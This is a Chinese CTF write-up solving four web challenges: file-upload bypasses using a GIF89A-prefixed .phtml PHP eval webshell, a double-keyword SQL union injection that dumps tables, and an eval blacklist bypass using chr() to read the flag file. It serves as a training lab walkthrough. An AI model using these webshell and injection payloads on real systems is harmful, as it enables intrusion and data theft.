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[极客大挑战 2019]Upload
本关我们构造 jpg文件传入一句话木马的话， <会被识别出来而无法上传

我们尝试构造pthml文件，pthml文件指的是嵌入html的php文件，这里我们可以发现仍然不行，可能对文件头进行了检查

那我们这里呢，就构造pthml文件，这样标签就不会被过滤，也就可以绕过
构造payload如下
GIF89A<script language="php">eval($_POST[1]);phpinfo();</script>

(GIF89A是构造一个图片头文件欺骗)
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(GIF89A是构造一个图片头文件欺骗)

查看这个文件，盲猜文件存放位置为 upload下



此时蚁剑连接获取webshell即可

此时寻找flag即可

其实我本来的思路是想试试%00截断的，但是这里一是不知道PHP版本是否符合要求，二是后端过滤了<，所以我们这个思路不
可行，学习其他大师傅的思路后才知道用phtml绕过即可

[ACTF2020 新生赛]Upload
首先进入界面，上传一个php文件进行尝试，观察反应



限制了文件格式，那我们把我们的一句话木马先改成jpg文件，bp抓包后修改过来



发现报出了 nonono ~badfile，可能是过滤了 php，同上关，我们用 phtml文件即可

查看文件

注入成功，蚁剑连接获取webshell



[极客大挑战 2019]BabySQL



首先随便输入一下

执行结果

可以看出是单引号闭合，且为get注入,因此我们尝试用or，但发现执行失败了，考虑到or可能被过滤了，这里采取双写绕过进行
尝试

username=1' oorr 1=1 %23&password=1



执行成功，此时查看字段数，但是我发现这里用 oorrder by也是无法使用的，暂时不知道为啥，保留疑问，这里直接开始联合

查询，由于union和select也被过滤了，所以我们采取双写绕过

username=-1' ununionion seleselectct 1,2,3%23&password=1

emmm，出现了回显位2，3，因此我们开始正式注入
查库

username=-1' ununionion seleselectct 1,2,database()%23&password=1



查表

经不断测试，发现from和where也被过滤，需要用双写绕过，这里最需要注意的就是 information

，因为他里面有or，所以也需要进行双写绕过，构造最终payload如下

username=-1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereer
e table_schema='geek'%23&password=1

查列(flag一般不在用户名那个表中，所以我们查另一个即可)

username=-1' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhere
ere table_name='b4bsql'%23&password=1

查字段

username=-1' ununionion seleselectct 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1



[RoarCTF 2019]Easy Calc
进入里面发现是个计算器，随机输入

输入字母时会报错，说明应该是过滤了字母



查看源码

发现有一个calc.php文件，进行访问

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以发现对空格，换行符以及很多进行了过滤,对num的非字母无法通过限制，导致我们无法进行注入，我在这里也不知道怎么
整，学习了其他师傅的思路后，了解到我们可以在？后面加一个空格再加变量，这样对于服务器端来说识别的变量就是  num而

不是 num，但php解析仍将其视为 num，此时就可以实现注入

此时我们查看当前目录，但是 /被过滤了，我们这里用 chr(47)即可，构造payload如下

? num=1;var_dump(scandir(chr(47)))



可以发现flag就在其中，可惜这里flag不是php类文件，要不然可以用交换键值和键名，再随机获取键名的方式来获取flag，这种
方式在浅析命令执行中有讲解，感兴趣的师傅们可以看一下

先介绍一个函数

file_get_contents()：
把整个文件读入一个字符串中.该函数是用于把文件的内容读入到一个字符串中的首选方法。

话说回来，这里的flag我们想获取，那只能将字母转换成chr()这种方式来绕过，因此我们将 f转换成 chr(102) , 1转换
成 chr(49)， a转换成 chr(97) , g转换成 chr(103)，中间用 .进行连接,此时再借用 file_get_contents函数获取文件内容，因

为没有设置存放的变量，所以其会直接显现在界面上，构造最终payload如下

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
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